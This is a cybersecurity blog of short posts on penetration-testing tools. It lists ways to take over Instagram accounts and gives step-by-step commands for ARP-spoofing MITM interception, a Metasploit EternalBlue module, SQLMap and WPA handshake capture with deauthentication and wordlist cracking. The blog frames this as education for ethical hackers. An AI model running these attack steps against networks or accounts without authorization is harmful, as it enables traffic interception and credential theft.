Powerful insights from the mind of Clay
Cybersecurity is the foundation of modern digital safety. As technology evolves, so do cyber threats. Ransomware, phishing attacks, and data breaches are rising daily. The future is digital, and securing that future means having a robust understanding of cybersecurity principles, practices, and tools. From AI-powered firewalls to ethical hacking teams, the demand for skilled professionals is skyrocketing. Be part of the defense — not the statistic.
Wi-Fi hacking is used in penetration testing to find vulnerabilities in wireless networks. Here are some of the most powerful tools used:
1. Aircrack-ng – Cracks WEP and WPA-PSK after packet capture.
2. Wireshark – Deep packet analyzer for troubleshooting and inspecting network traffic.
3. Reaver – Brute-force tool for WPS PINs to retrieve WPA/WPA2 passphrases.
4. Kismet – Network detector, sniffer, and IDS for 802.11 wireless LANs.
5. Fern WiFi Cracker – GUI tool for WEP/WPA cracking and man-in-the-middle attacks.
SQLMap automates the process of finding and exploiting SQL injection vulnerabilities. Ethical hackers use it to test database security.
- Finds SQL Injection points in URLs and forms.
- Extracts DB info like names, tables, columns, users, passwords.
- Supports DBs: MySQL, PostgreSQL, Oracle, SQLite, Microsoft SQL.
- Can be used with Tor or proxychains for anonymity.
- Exploits GET, POST, cookies, headers, and more.
- Simple usage: `sqlmap -u "site.com?id=1" --dbs`
Web penetration testing is key to securing online platforms. Here are 12 tools every ethical hacker should master:
1. Burp Suite – Full suite for web scanning and exploitation.
2. OWASP ZAP – Free scanner for finding vulnerabilities.
3. Nikto – Scans web servers for outdated software.
4. SQLMap – Automated SQL injection tool.
5. Nmap – Network scanner with port detection.
6. Metasploit – Exploitation framework for web-based targets.
7. Wapiti – Black-box web app vulnerability scanner.
8. Acunetix – Commercial scanner for vulnerabilities and misconfigs.
9. Netsparker – Advanced vulnerability detection with proof-based scanning.
10. DirBuster – Finds hidden directories and files.
11. WhatWeb – Web fingerprinting tool.
12. WPScan – WordPress security scanner.
Hackers use a combination of tools and social tactics to compromise Instagram accounts. Here’s how:
- Phishing: Fake login pages capture credentials.
- Keyloggers: Installed via APKs or RATs to steal typed passwords.
- Brute Force: Tools like Instainsane guess passwords rapidly.
- OSINT: Tools like Sherlock, Maigret help gather username info.
- Social Engineering: Pretending to be support or a friend.
- SIM Swapping: Taking over user’s phone number.
- Session Hijacking: MITM attacks to steal cookies.
Metasploit is a powerful exploitation and post-exploitation framework used in ethical hacking.
- Launch payloads against known vulnerabilities.
- Offers Meterpreter for deep system control.
- Scan, exploit, gain access, and escalate privileges.
- Supports custom scripting (Ruby).
- Example: `use exploit/windows/smb
/ms17_010_eternalblue`
- Use `msfconsole` to interact with modules.
- Includes exploit, auxiliary, and post modules.
- Integrates with tools like Nmap and Nessus.
MITM (Man-in-the-Middle) attacks are used by hackers to intercept and manipulate communications between two parties without them knowing.
The attacker secretly relays and possibly alters the communication between the client and server.
Here’s how a hacker typically performs a MITM attack:
1. Attacker connects to the same network as the victim (usually public Wi-Fi).
2. They enable IP forwarding on their system:
echo 1 > /proc/sys/net/ipv4/ip_forward
3. Use ARP spoofing to redirect the victim’s traffic through the attacker’s machine:
arpspoof -i wlan0 -t [victim IP] [gateway IP]
arpspoof -i wlan0 -t [gateway IP] [victim IP]
4. They use a tool like `ettercap` or `Bettercap` to sniff data, inject payloads, or capture credentials:
bettercap -iface wlan0
Example:
The victim visits a login page. The attacker captures the request using a sniffer and extracts usernames or passwords in real-time.
This type of attack can be prevented by:
- Using HTTPS encryption everywhere
- Avoiding public Wi-Fi for sensitive activities
- Using VPNs
Ethical hackers use MITM techniques to test network security and ensure no weak points exist in data transmission paths.
WiFi hacking is one of the most common techniques in the world of cybersecurity. It helps penetration testers analyze wireless network security and find vulnerabilities. In this blog, we’ll explore how hackers (and ethical hackers) hack into WiFi networks using tools, commands, and gadgets.
Use this command to enable monitor mode:
airmon-ng start wlan0
Now scan for target WiFi networks:
airodump-ng wlan0mon
Choose a WiFi target (BSSID and channel) and capture the handshake:
airodump-ng --bssid [BSSID] -c [Channel] -w capture wlan0mon
This forces a device to reconnect, capturing the handshake:
aireplay-ng --deauth 10 -a [BSSID] wlan0mon
Use a wordlist like rockyou.txt to brute-force the password:
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
This blog is only for educational purposes. Hacking into networks without permission is illegal and unethical. Always practice on your own router or in a controlled lab setup.